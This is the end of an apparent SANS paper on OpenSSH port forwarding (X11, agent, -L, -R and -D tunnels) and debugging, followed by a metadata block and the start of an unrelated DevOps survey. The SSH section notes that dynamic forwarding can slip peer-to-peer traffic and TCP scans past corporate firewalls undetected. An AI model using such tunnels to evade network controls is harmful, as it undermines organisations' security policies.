**X11 forwarding**
X11 port forwarding is a good example of this possibility. When you connect to a remote SSH server you might want to use some graphical user interface. For that you will export the display using the X11 protocol to your client machine. As X11 is not encrypted you will expose your X-windows communication, allowing it to be exploited by an unauthorized person on your network path. In order to fully benefit from SSH communication you can use the X11 tunneling capability enabled by default in OpenSSH. It is totally transparent to the user. You don’t need to redirect ports, and the display variable is automatically exported at logon. In fact the only thing that needs to be done is to enable it on the server side in the “sshd_config” file.
**Authentication forwarding**
The ssh-agent also uses this forwarding capability to provide an authentication forwarding functionality. To enable this option use the –A option of your ssh command, or add the option “ForwardAgent” to yes in the “ssh_config” file of the server running ssh-agent. This option is interesting in the case where you need to connect to an intermediate remote server as a step to access another remote server. The SSH agent forwarding function will provide your credentials to the final remote server through the already established SSH connection on the intermediary server. In a nutshell you create an authentication chain starting from your client station running the ssh-agent through as many hosts you need without having to spread your private key on all the servers that form part of the chain, as long as all the remote SSH servers have your public key in their “authorised_keys” file of the user you are connecting to.
**Local and remote port forwarding**
In addition to the built in port forwarding capabilities in OpenSSH discussed above, you can also statically forward a defined tcp port on the SSH client system to a remote tcp port on the remote SSH server, or to a system behind the SSH server. This is the local port forwarding –L option of the ssh command. You can also forward a tcp port of the remote SSH server to a tcp port on the client system, or to a system behind the client. This is the remote port forwarding –R option of the SSH program. In a nutshell you perform local port forwarding when you forward port in the same direction as the SSH connection while you perform remote port forwarding in the opposite direction of the SSH
connection. Playing with both options will provide you a way to encrypt traffic that was not
designed to, such as telnet, SMTP, POP3, IMAP and more, as long as they only
establish one connection. It will not work with FTP (in either active or passive modes) as
it needs a second connection to be established for the FTP data transfer. And it is
impossible to predict in advance the chosen TCP port that will have to be forwarded.
In practice you could use local port forwarding to secure unencrypted outgoing traffic
from your local network to a server behind a firewall that only allow outgoing SSH traffic,
and remote port forwarding to secure incoming traffic.
Syntax of the commands:
```
ssh –L <local_port_to_forward>:<target_system_of_fw>:<port_on_the_target_system> <ssh_server>
```
```
ssh –R <remote_port_to_forward>:<target_system_of_fw>:<port_on_the_target_system> <ssh_server>
```
The `<local_port_to_forward>` can be whichever you want, as
long as the client program that will connect is configured to access this port. If it is lower
than 1024 it will need root access to establish a connection as only root can forward a
privileged port.
The `<target_system_of_fw>` could be either the remote SSH server or a system
accessible from the remote SSH server.
The `<port_on_the_target_system>` should be the TCP port number the target server
daemon is listening on. For example it should be port 25 for SMTP.
The `<ssh_server>` is your remote SSH server where you should have at least user
access.
Local port forwarding example:
```
client.intranet.com$ ssh –L 2323:telnet_server.example.com:23
ssh_server.example.com
```
This command will open an SSH encrypted channel from the client system to
`ssh_server.example.com`, and will forward all traffic from the client system on port 2323
to the port 23 of the `telnet_server.example.com` through this channel. In this way a telnet
command from the client system to its own port 2323 will provide telnet access to
telnet_server.example.com, but the communication will only be encrypted between the
client system and the remote SSH server but not between the SSH server and the Telnet
server.
If you can’t afford having a part of your traffic that goes unencrypted then you should
establish a second tunnel between the SSH server and the Telnet server. Instead you
can create the SSH connection between the client system and
telnet_server.example.com, as long as the client can have network access to
telnet_server.example.com traffic will never go unencrypted. An example of the
command could be:
```
client.intranet.com$ ssh –L 2323:telnet_server.example.com:23 telnet_server.example.com
```
This example is not particularly useful as it reproduces the basic SSH functionality. But can be useful for encrypting POP, IMAP or SMTP for example.
If you use the “–g” option in the ssh command then the client will act as a gateway. All systems that have access to the client system on port 2323 will be able to telnet to the remote telnet server. Filtering on port 2323 would be mandatory to protect the remote connection. Again all traffic before the SSH client system is unencrypted.
Remote port forwarding example:
```
client.intranet.com$ ssh –R 2323:telnet_server.intranet.com:23
ssh_server.example.com
```
This command will open an SSH encrypted channel between the client system to ssh_server.example.com. And will forward all traffic from ssh_server.example.com port 2323 to the port 23 of telnet_server.intranet.com through this channel. Traffic from client.intranet.com to telnet_server.intranet.com will be unencrypted. As with local port forwarding the system target of the port forwarding could also be the SSH client itself and the –g option will make the SSH remote server to act as a gateway. Again the “–g” option should be used in association with filtering on the port to forward in order to have a minimum of control over who will be able to use this port forwarding.
A good example of port forwarding practical application is provided by Sys Admin Magazine in an article “Encrypted NFS with OpenSSH and Linux” [10]
**Dynamic port Forwarding**
Using Dynamic port forwarding is no more than making the SSH encrypted channel act as a socks proxy server and will enable TCP/IP traffic initiated from the client side of the encrypted channel to be automatically forwarded to the other side. In order to make this work you should use the “–D” option of the OpenSSH ssh command followed by the local port number on which the SSH client should be listening.
Recent versions of OpenSSH now support socks V5 protocol [11].
Once the SSH session is establish the SSH client will listen on the specified port. Syntax of the command:
```
ssh -D <TCP_port_to_listen_on> <ssh_server>
```
The <TCP_port_to_listen_on> can be whichever you want, as long as the socks client program that will connect is configured to access this port. If it is lower than 1024 root access is required as only root can forward privileged port. By default the socks client will use port 1080 to connect.
In order to enable the TCP/IP traffic of the SSH client to be forwarded on the other side of the encrypted channel you should install on the SSH client system a socks client program. An example of such a socks client for Windows is the Hummingbird SOCKS [12] and for Linux you can use Dante[13].
You need to configure your socks client to handle TCP/IP traffic destined to the foreign IP address, or IP address range, located behind your SSH server and send it to the port that the SSH client is listening on.
Caution: if the traffic is addressed to a system behind the SSH server then the traffic will go unencrypted between the SSH server and the target system. If you combine the “–D” option with the “–g” option mentioned above then you will allow all systems able to connect to your SSH client to use it as a socks proxy server without authentication, and to connect with systems on the other end of the SSH encrypted traffic. Again the traffic to the SSH client will not be encrypted.
FTP in passive mode is a good example of protocol that needs Dynamic port forwarding in order to be forwarded through SSH. In passive mode FTP opens a second channel, that it is hard to predict, to establish the data session, therefore it is quite impossible to use local or remote port forwarding to encrypt it in an SSH session.
Using Dynamic Port Forwarding is not particularly useful for FTP, as SFTP is better, but you can use this configuration to forward all kinds of application that use TCP without the need to configure each one manually. It should be noted that it can be used to forward Peer to Peer applications very easily outside of your corporate firewalls and that way bypassing your firewall rules. As this traffic is encrypted it is indistinguishable from other SSH traffic. Even a TCP scan could be performed through this configuration.
Disabling port forwarding on the SSH remote server side, by adding the line “AllowTcpForwarding no” in the “sshd_config” of your SSH server, has no added security value as a client can use their own forwarder. I highly recommend considering always blocking SSH access to your internal network from untrusted networks, and only allowing outgoing SSH traffic from your network to needed systems exclusively.
Debugging
With an encrypted protocol such as SSH it can be a little bit more difficult to analyze connection problems than on unencrypted communication, where you can use protocol analyzer tools to understand what’s going on. There is a way by using the SSH debugging option that can be enabled on both sides.
To enable it on the client side use the ssh command with the “–v” option, and on the server side start your sshd daemon from a command prompt with the “–d” option.
Caution: using the –d option when running sshd will only permit one connection.
In a production system you may need to use the logging facility through syslog to debug in order not to disturb user access to SSH. In business-as-usual mode it is always good practice to log at least security and authorization messages. By default OpenSSH logs at an informational level. You can increase this verbosity by playing with the syslog facility option “SyslogFacility” and the log level one “LogLevel” in the “sshd_config” file. Another good security practice is to forward all syslog messages to a centralized syslog server for monitoring and consolidation.
Conclusion
OpenSSH is a powerful tool that can allow you to greatly improve the security of your communication as a substitute for plain text services. Unfortunately it can also be a threat to your security. As it is installed by default in most Unix based operating systems it is widely used in the field and it is becoming a very popular target for hackers that make them a good vector to potentially get into most operating systems.
As an example: in July 2002 some copies of the source code for the OpenSSH package were modified to contain a Trojan horse [14].
Also, OpenSSH is not exempted from security vulnerabilities. You can find on the OpenSSH web site a list of all the security vulnerabilities discovered since the beginning [15]. The only way to contain this threat is, as with any program, to keep yourself informed about security vulnerabilities through registration to a security mailing list and to update your system accordingly.
Secure Shell appeared in the SANS Institute 2003 Twenty Most Critical Internet Security Vulnerabilities [1] because of the risks produced by bad patch management and poor configuration. These were the main reasons that made me decide to write this paper. A badly designed OpenSSH environment is a threat that should not be under-estimated. As you have seen throughout this paper, OpenSSH is relatively easy to use, but depending on the way it is used it can be easy to misconfigure, which may give an intruder easy access to your systems.
As an example; if you use one password to connect to your favorite server using telnet, or another plain text protocol, and you use this same password on your secure server where you are only allowed to connect using OpenSSH: do you think that OpenSSH will be of any help?
There are two key points to protect against that: education and security policies. Education of the people that will implement and maintain your infrastructure is required as they need to fully understand how it works in order to put the appropriate bricks in the security wall defenses that you are building with OpenSSH. The users of this infrastructure need also to be educated, as they will be the cement of this wall. If they fail to understand what good practice is in keeping their communication secure, such as protecting their credentials, or their private key, or ensuring that they are connected with the right server for example, then your security wall will be like a sieve.
References:
[13] Inferno Nettverk A/S, "What is Dante"
URL: http://www.inet.no/dante/
[14] OpenSSH, "Security advisory (adv.trojan)". 1 August 2002
URL: http://www.openssh.com/txt/trojan.adv
[15] OpenSSH, "Related security vulnerabilities list"
URL: http://www.openssh.org/security.html
Bernard Perrot, "Sécuriser ses connexions avec ssh“. version 1.01
Daniel Robbins, “Common threads: OpenSSH key management, Part 2”. 1 September 2002
Daniel Robbins, “Common threads: OpenSSH key management, Part 3”. 1 February 2002
## Upcoming Training
<table>
<thead>
<tr>
<th>Event Name</th>
<th>Location</th>
<th>Dates</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS Secure Canberra 2020</td>
<td>Canberra, Australia</td>
<td>Mar 23, 2020 - Mar 28, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Philadelphia 2020</td>
<td>Philadelphia, PA</td>
<td>Mar 30, 2020 - Apr 04, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS 2020</td>
<td>Orlando, FL</td>
<td>Apr 03, 2020 - Apr 10, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Middle East April 2020</td>
<td>Dubai, United Arab Emirates</td>
<td>Apr 11, 2020 - Apr 16, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Bethesda 2020</td>
<td>Bethesda, MD</td>
<td>Apr 13, 2020 - Apr 18, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Minneapolis 2020</td>
<td>Minneapolis, MN</td>
<td>Apr 13, 2020 - Apr 18, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Boston Spring 2020</td>
<td>Boston, MA</td>
<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Pen Test Austin 2020</td>
<td>Austin, TX</td>
<td>Apr 27, 2020 - May 02, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Baltimore Spring 2020</td>
<td>Baltimore, MD</td>
<td>Apr 27, 2020 - May 02, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>CS Cybersecure Catalyst Women Academy SEC401</td>
<td>Brampton, ON</td>
<td>May 04, 2020 - May 09, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>SANS Amsterdam May 2020</td>
<td>Amsterdam, Netherlands</td>
<td>May 11, 2020 - May 18, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Security West 2020</td>
<td>San Diego, CA</td>
<td>May 11, 2020 - May 16, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>CS-Cybersecure Catalyst New Canadians Academy SEC401</td>
<td>Brampton, ON</td>
<td>May 11, 2020 - May 16, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>SANS San Antonio 2020</td>
<td>San Antonio, TX</td>
<td>May 17, 2020 - May 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Northern Virginia- Alexandria 2020</td>
<td>Alexandria, VA</td>
<td>May 17, 2020 - May 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Autumn Sydney 2020</td>
<td>Sydney, Australia</td>
<td>May 18, 2020 - May 23, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>CS-Cybersecure Catalyst New Career Academy SEC401</td>
<td>Brampton, ON</td>
<td>May 19, 2020 - May 24, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>SANS Nashville Spring 2020</td>
<td>Nashville, TN</td>
<td>May 26, 2020 - May 31, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Atlanta Spring 2020</td>
<td>Atlanta, GA</td>
<td>May 26, 2020 - May 31, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Chicago Spring 2020</td>
<td>Chicago, IL</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS London June 2020</td>
<td>London, United Kingdom</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Las Vegas Summer 2020</td>
<td>Las Vegas, NV</td>
<td>Jun 08, 2020 - Jun 13, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Zurich June 2020</td>
<td>Zurich, Switzerland</td>
<td>Jun 15, 2020 - Jun 20, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Silicon Valley - Cupertino 2020</td>
<td>Cupertino, CA</td>
<td>Jun 22, 2020 - Jun 27, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Cyber Defence Japan 2020</td>
<td>Tokyo, Japan</td>
<td>Jun 29, 2020 - Jul 11, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Cyber Defence Canberra 2020</td>
<td>Canberra, Australia</td>
<td>Jun 29, 2020 - Jul 11, 2020</td>
<td>Live Event</td>
</tr>
</tbody>
</table>
|
{"Source-Url": "https://www.giac.org/paper/gsec/3455/practical-guide-openssh/105661", "len_cl100k_base": 10734, "olmocr-version": "0.1.53", "pdf-total-pages": 21, "total-fallback-pages": 0, "total-input-tokens": 49621, "total-output-tokens": 12596, "length": "2e13", "weborganizer": {"__label__adult": 0.00047969818115234375, "__label__art_design": 0.0005593299865722656, "__label__crime_law": 0.002178192138671875, "__label__education_jobs": 0.004150390625, "__label__entertainment": 0.00016701221466064453, "__label__fashion_beauty": 0.00019347667694091797, "__label__finance_business": 0.0010404586791992188, "__label__food_dining": 0.00027108192443847656, "__label__games": 0.000965595245361328, "__label__hardware": 0.004791259765625, "__label__health": 0.0005707740783691406, "__label__history": 0.0003960132598876953, "__label__home_hobbies": 0.00018274784088134768, "__label__industrial": 0.0009322166442871094, "__label__literature": 0.00035572052001953125, "__label__politics": 0.0004982948303222656, "__label__religion": 0.000579833984375, "__label__science_tech": 0.232666015625, "__label__social_life": 0.00022518634796142575, "__label__software": 0.192138671875, "__label__software_dev": 0.5556640625, "__label__sports_fitness": 0.00025272369384765625, "__label__transportation": 0.00036978721618652344, "__label__travel": 0.0001863241195678711}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 51538, 0.02925]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 51538, 0.16579]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 51538, 0.89935]], "google_gemma-3-12b-it_contains_pii": [[0, 0, null], [0, 162, false], [162, 2000, null], [2000, 4817, null], [4817, 7689, null], [7689, 10294, null], [10294, 12434, null], [12434, 15385, null], [15385, 18517, null], [18517, 21258, null], [21258, 24570, null], [24570, 28102, null], [28102, 30548, null], [30548, 33536, null], [33536, 36195, null], [36195, 39108, null], [39108, 42553, null], [42553, 44439, null], [44439, 46056, null], [46056, 46850, null], [46850, 51538, null]], "google_gemma-3-12b-it_is_public_document": [[0, 0, null], [0, 162, true], [162, 2000, null], [2000, 4817, null], [4817, 7689, null], [7689, 10294, null], [10294, 12434, null], [12434, 15385, null], [15385, 18517, null], [18517, 21258, null], [21258, 24570, null], [24570, 28102, null], [28102, 30548, null], [30548, 33536, null], [33536, 36195, null], [36195, 39108, null], [39108, 42553, null], [42553, 44439, null], [44439, 46056, null], [46056, 46850, null], [46850, 51538, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 51538, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 51538, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 51538, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 51538, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 51538, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 51538, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 51538, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 51538, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 51538, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 51538, null]], "pdf_page_numbers": [[0, 0, 1], [0, 162, 2], [162, 2000, 3], [2000, 4817, 4], [4817, 7689, 5], [7689, 10294, 6], [10294, 12434, 7], [12434, 15385, 8], [15385, 18517, 9], [18517, 21258, 10], [21258, 24570, 11], [24570, 28102, 12], [28102, 30548, 13], [30548, 33536, 14], [33536, 36195, 15], [36195, 39108, 16], [39108, 42553, 17], [42553, 44439, 18], [44439, 46056, 19], [46056, 46850, 20], [46850, 51538, 21]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 51538, 0.1003]]}
|
olmocr_science_pdfs
|
2024-12-08
|
2024-12-08
|
40debaf32b4553da95601188aebc8c3bcf3646ef
|
Abstract
This paper highlights the significance of DevOps in various contexts and explores the intricacies of DevOps practices, their utility, and strategies for their application within software organizations. Existing research on DevOps is scarce and often lacks rigor. DevOps fosters a culture centered on cooperation, automation, scalability, knowledge dissemination, and the utilization of web services. The advantages of DevOps extend to both information systems development and operational efficiency, with favorable outcomes for web service development and quality assurance performance. In conclusion, our survey underscores the need for further research to quantitatively assess these findings.
Keywords: DevOps; integration; automation; requirement analysis; continuous delivery
1. Introduction
DevOps is an approach that merges traditional software roles, aiming to enhance communication and increase deployment frequency while maintaining software quality. The term "DevOps" was coined by software development expert Patrick Debois during the DevOps Days conference in 2009. It emerged as a solution to address the limitations of the agile software development methodology, which excelled in iterative and rapid code development but often fell short in quick code deployment. DevOps bridged the gap between agile's emphasis on collaboration and change and the ITIL framework's focus on stable and predictable IT operations. This resonated with both IT administrators and software developers (Erich et al., 2017). The term "DevOps" typically refers to the evolving professional practice that fosters a collaborative relationship between development and IT operations, resulting in efficient workflow and enhancing the reliability, consistency, flexibility, and security of the development environment. The primary objective of DevOps is to reduce the time it takes for software to transition from creation to operation while upholding high-quality standards (Jha & Khan, 2018). IBM introduced the concept of Collaborative DevOps to describe systems connecting software development and IT teams. Furthermore, DevOps can be seen as treating infrastructure with the same processes as development. Initially, DevOps was associated with larger corporations like Netflix and Google, as well as startup companies (Rajapakse et al., 2021). These organizations are commonly known as "cloud-native," "born-in-the-cloud," or "unicorns" in the DevOps community. Currently, DevOps is adopted by three distinct groups, evident in the rapid increase in release frequency (Karamitsos et al., 2020). DevOps is guided by its core principles encapsulated in the acronym CAMS: Culture, Automation, Measurement, and Sharing. These principles have a profound impact on modern software development lifecycle requirements.
- **Culture:** DevOps encourages the breakdown of silos and promotes improved inter-departmental communication (Arulkumar & Lathamamu, 2019). It facilitates better communication across teams, facilitating the removal of barriers.
- **Automation:** DevOps not only saves time but also prevents errors, ensures consistency, and fosters self-administration.
- **Measurement:** DevOps supports continuous deployment and delivery, aiding decision-making through clear and straightforward data, insights, defects, and experiences, allowing like-minded individuals to make informed choices.
- **Sharing:** DevOps recognizes the value of sharing tools, insights, mistakes, and experiences to benefit individuals with similar interests (Banica et al., 2017).
DevOps is an evolving field, where artificial intelligence is increasingly applied to assist in various aspects, ranging from incident management to code generation. However, several challenges must be overcome for AI for DevOps, or AIoPS, to become a reality. These hurdles include the need for more intelligent automation, reduced waiting times, and improved translation of business requirements into technological solutions. Despite the growing popularity of DevOps, there is a notable lack of empirical research on its practical implementation, as highlighted in recent studies. Existing literature provides limited insights into the actual execution and methodologies of DevOps, as well as their effectiveness in supporting continuous software development, with only a small number of case studies available (Erich et al., 2014).
DevOps offers numerous advantages, including enhancements across the entire software delivery pipeline, such as validation and deployment, the breakdown of silos, improved communication among IT teams, faster time-to-market for software, responsive improvements based on feedback, reduced downtime, decreased manual tasks through automation, streamlined product development with increased responsibility and code ownership in development, and broader roles and skillsets (Wiedemann & Wiesche, 2020).
On the flip side, there are disadvantages associated with DevOps implementation. These include the proliferation of development and IT tools, the potential for unnecessary, fragile, or risky automation, the challenges of scaling DevOps across various projects and teams, the risk of hasty deployments due to a "fail-fast" approach, job generalization versus specialized knowledge, regulatory compliance concerns, especially in situations requiring role isolation, and the emergence of new job roles. These organizational
and IT departmental changes must be addressed during DevOps deployment, and interviews with those involved in DevOps implementation have revealed a variety of challenges that have hindered the process or jeopardized the achievement of DevOps objectives (Noorani et al., 2022). Some of the key challenges faced by DevOps include:
1.1. Addressing the Challenge of Acquiring Adequate Technical Competence Among Employees
This issue encompasses two vital aspects: first, the task of recruiting new personnel possessing the necessary technical skills, and second, the process of enhancing and retaining the skills of the existing workforce. The deficiency of adequately skilled staff can significantly impede the adoption of DevOps due to a shortage of required competencies at the right time. These competencies encompass the ability to code, a comprehensive understanding of infrastructure, its configuration, deployment, post-deployment monitoring, infrastructure troubleshooting, and proficiency in utilizing supporting tools. According to the head of the infrastructure team, the skills needed are often in short supply, resulting in challenges in finding qualified job seekers and recent graduates. They expressed, "The skill set doesn't seem to be readily available," which led to recruitment being identified as "perhaps our greatest challenge" by the RQL. The training manager emphasized the complexity of upskilling the entire workforce so that each member can effectively handle operational issues. He referred to the present situation as a "bottleneck" in expanding DevOps adoption and training current staff in the utilization of new monitoring and automation tools and principles. The team perceives this challenge as stemming from a steep learning curve. The issue lies in the constant struggle to keep pace with the ever-increasing array of new tools and concepts. A developer also noted that even though they are accustomed to learning new technologies regularly, quickly acquiring operational technologies and related concepts to meet work demands remains a challenge (Khan et al., 2022).
1.2. Overcoming Resistance and Uncertainty
To effectively combat resistance to significant changes and uncertainties regarding how the transition to a DevOps work methodology will impact individuals in the future, motivation is a key factor. A developer expressed, "DevOps was not what I signed up for." Becoming productive team members and sharing knowledge took time for infrastructure specialists, and they faced particular challenges in embracing the mental shift of being on-call for managing emergent operational issues (Hermawati et al., 2021).
1.3. Adjusting Tools and Technological Infrastructure
The move towards DevOps and continuous deployment, driven by various strategic considerations, notably the shift to a cloud-based environment and microservices architecture, has proved to be a significant facilitator. This phase of the DevOps journey has been extremely demanding and challenging following a year of product redesign. The process of selecting, experimenting with, and configuring tools for the build pipeline, encompassing full-stack testing, automated deployment, and monitoring, has been strenuous and time-consuming. There is little room for respite due to the slow pace, substantial time investment, and technical intricacies involved. Numerous studies have been conducted in the realm of DevOps, leading to the emergence of several solutions, including:
A lot of research has been done on DevOps previously and there are a few solutions driven out through those researches, which are as follows:
1.4. Fostering Teamwork and Cross-Team Communication within Defined Guidelines
Promoting collaboration across teams, as opposed to working in isolated silos, emerged as a recognized best practice in various studies focusing on DevOps. One specific recommendation is the establishment of multidisciplinary (Alsaber et al., 2021) involves close collaboration among development, security, and operations teams right from the initial stages of a project. However, it is crucial to carry out this enhanced cooperation within well-defined rules and guidelines. Clear delineation of the roles of each team member participating in cross-functional teams is a pivotal aspect of this practice.
1.5. Engaging Security Champions as Collaborators
In a DevOps environment with distinct team priorities, it is advisable to introduce the concept of security champions who can bridge the gaps. Security champions are individuals within teams with a primary focus on security and extensive security training. They play a crucial role in promoting and maintaining a strong security posture within the team (Hamid, Iqbal, Muhammad, Fuzail, et al., 2022).
1.6. Integrating Human Resource Management (HRM) Initiatives
DevOps cultural transformation may pose challenges for certain employees within an organization. To address these challenges, studies suggest implementing HRM initiatives in conjunction with DevOps transformation projects. These HRM programs should concentrate on addressing universal concerns, such as the fear of job displacement or a perceived loss of control over one's role (Hamid, Iqbal, Nazir, et al., 2022).
1.7. Training and Knowledge-Sharing Tools for Security Awareness
Enhancing the security awareness of team members to carry out their respective security-related responsibilities can benefit from the application of security training and knowledge-sharing techniques. For example, extensive security-related knowledge is essential for implementing and using security solutions effectively. The development team should be equipped with the expertise to differentiate between legitimate security issues and false positives when utilizing static analysis tools for vulnerability assessment (Hamid, Iqbal, Aqeel, Rana, et al., 2023).
1.8. Automated Identification of Vulnerabilities through Requirement Analysis
In alignment with CSE paradigms, research has proposed methods to automate the analysis of security requirements. Toolchains have been developed to automatically transform requirement documents into ontological models, analyze these models, and report the identified findings. The availability of toolchains enables developers to address security vulnerabilities at an early stage in the development process. This study aims to explore DevOps, the challenges encountered during its implementation, and the existing body of work on this subject. The motivation behind this paper is to investigate the issues surrounding DevOps and the diverse perspectives held by different stakeholders on this subject (Hamid, Iqbal, Aqeel, Liu, et al., 2023).
2. Literature Review
Ioannis Karamitros and his colleagues in their research provide a clear understanding that the experimentation phase in the machine learning process might seem straightforward, but overlooking the deployment, design, and utilization of models can lead to complex and time-consuming approaches. These, in turn, involve maintenance, monitoring, and improvement efforts that are both costly and demanding. DevOps, short for development and operation, encompasses a set of applications and tools grounded in systems and software engineering. A central goal of DevOps is the transformation of organizational culture to foster increased collaboration and the formation of cross-functional teams.
At the core of achieving business strategy are two pillars, namely DevOps and Agile, which blur the lines between traditional operational and development teams. This convergence creates an environment where operations are continuously refined by a cross-functional team comprising operators and developers. These pillars play a vital role in realizing strategic business objectives. DevOps, in particular, aims to explore avenues for enhancing service quality and features to meet the needs of customers. The author also outlines three phases of continuous software engineering: planning development, operation, and business strategy.
Within these phases, software development practices like continuous delivery and integration are employed. Continuous integration fosters reduced release cycles, enhanced software quality, and increased team productivity. Additionally, the push-based approach of continuous delivery offers benefits such as reduced deployment risks, cost savings, and swift user feedback. The automation-centric continuous delivery methodology streamlines development, testing, and deployment activities (Riasat et al., 2023).
V. Arulkumar and R. Lathamanju's research underscores the integration of software development practices into a cohesive approach that combines automation with cloud support and DevOps in the manufacturing sector. This amalgamation leads to the rapid development of software applications, reducing the development timeline from days to minutes. Automation serves as the linchpin of the DevOps approach, enabling the continuous automation of the software life cycle, which involves ongoing code analysis and testing. The resulting software is built and deployed within the developers' cloud environment. Depending on the volume of new applications to be released, each step in the continuous delivery process may be executed multiple times daily. Automation within DevOps greatly enhances development speed, accuracy, consistency, and delivery frequency, with automation representing a foundational principle of DevOps. Automation encompasses continuous integration, continuous testing, continuous deployment, and continuous delivery, leading to reduced human errors and significant time savings. These advantages make automation particularly crucial for smaller organizations (Hamid, Iqbal, Muhammad, Basit, et al., 2022).
In the context of software development and delivery, DevOps refers to a comprehensive automation approach. This research unites the realms of development and operations through automated development, deployment, and infrastructure monitoring. Additionally, Amazon Web Services is introduced as a provider of IT services in the form of web services, known as cloud computing, simplifying the development lifecycle through tools like Maven, which is a project management and comprehension tool. Logica Banana and their peers explore the distinctions between Agile and DevOps methodologies, with DevOps representing a novel approach that aligns with the principles of agile project management for software development and execution. The authors predict that DevOps is likely to replace its predecessors due to the advantages it offers businesses in terms of software project management efficiency and agility. Deshpande defines DevOps as "a software development approach that aims to integrate all software development processes, from development to operations, within the same cycle" (Mushraq et al., 2021).
In the realm of software development, Agile methodology emerged as a highly adaptable and efficient alternative to traditional Waterfall and PMBOK techniques. Agile serves as the foundation for DevOps and offers substantial improvements in component delivery. Unlike conventional approaches such as PMBOK or Waterfall, which release the entire product at once, DevOps focuses on delivering software components incrementally, typically at the end of each sprint. Furthermore, the evolution of Agile through DevOps is noteworthy. In Agile, component delivery to customers often experiences delays, while in DevOps, components are released immediately upon completion. Agile tends to lack pre-release quality assurance, whereas DevOps ensures quality through test automation. Agile typically operates without a strong emphasis on teamwork, while DevOps encourages collaboration between IT and development teams. The authors assert that DevOps is the most suitable approach for website development projects, as web pages can be viewed as deliverable components that can be developed, tested, and launched as they are completed (Continuous Delivery). Simultaneously, the database supporting the website can be developed in parallel. The authors progressed to the DevOps approach after initial experimentation with smaller projects (Banica et al., 2017).
Farid and colleagues elaborate on how DevOps enhances lean software development. They emphasize that lean software development lacks the integration between development and operations teams, which DevOps effectively facilitates. DevOps seamlessly incorporates operational components into the development process, maintains their currency during development, and reduces errors during deployment. Lean methodology aims to minimize resource waste in non-value-added products, while DevOps seeks to optimize the entire lifecycle by shortening release cycles and increasing software deliveries. DevOps emerged as a response to the convergence of development and operations teams, aiming to accelerate software deployment and responsiveness to changing consumer demands. By enabling quicker customer feedback loops, reducing overhead, and minimizing rework, DevOps enhances productivity and gives businesses a competitive edge through three dynamic capabilities. First, it encourages comprehensive collaboration across various stakeholders from business and software functions, accelerating ongoing planning and idea generation. Second, it emphasizes continuous delivery through automated software delivery processes and waste elimination. Third, it focuses on early problem identification and prompt notification to development teams, creating a feedback loop for continuous customer learning through monitoring and improving software-driven innovation. In this way, DevOps optimizes Lean software development, encompassing the entire lifecycle from development to operations environments, by identifying sources of waste and applying DevOps techniques to reduce and rectify them (Farid et al., 2017).
Floris Erich and fellow researchers investigate DevOps as a theoretical approach aimed at bridging the gap between information system development and operations. Their study involves a systematic mapping of DevOps research. They note that DevOps research is scarce, and the available studies often lack quality. Additionally, they identify that DevOps follows a conceptual
framework similar to Agile Software Development and that organizations must integrate DevOps concepts and principles into their methodologies. This integration may require organizational reconstruction. The authors also discover that a culture of cooperation, automation, information sharing, measurement, and web service utilization supports DevOps. DevOps improves performance in IS development and operations while enhancing the effectiveness of quality assurance and web service development. Knowledge, skills, and abilities (KSAs) serve as a framework for the US government’s hiring decisions and can be applied to select the best candidates for positions within DevOps-centric organizations.
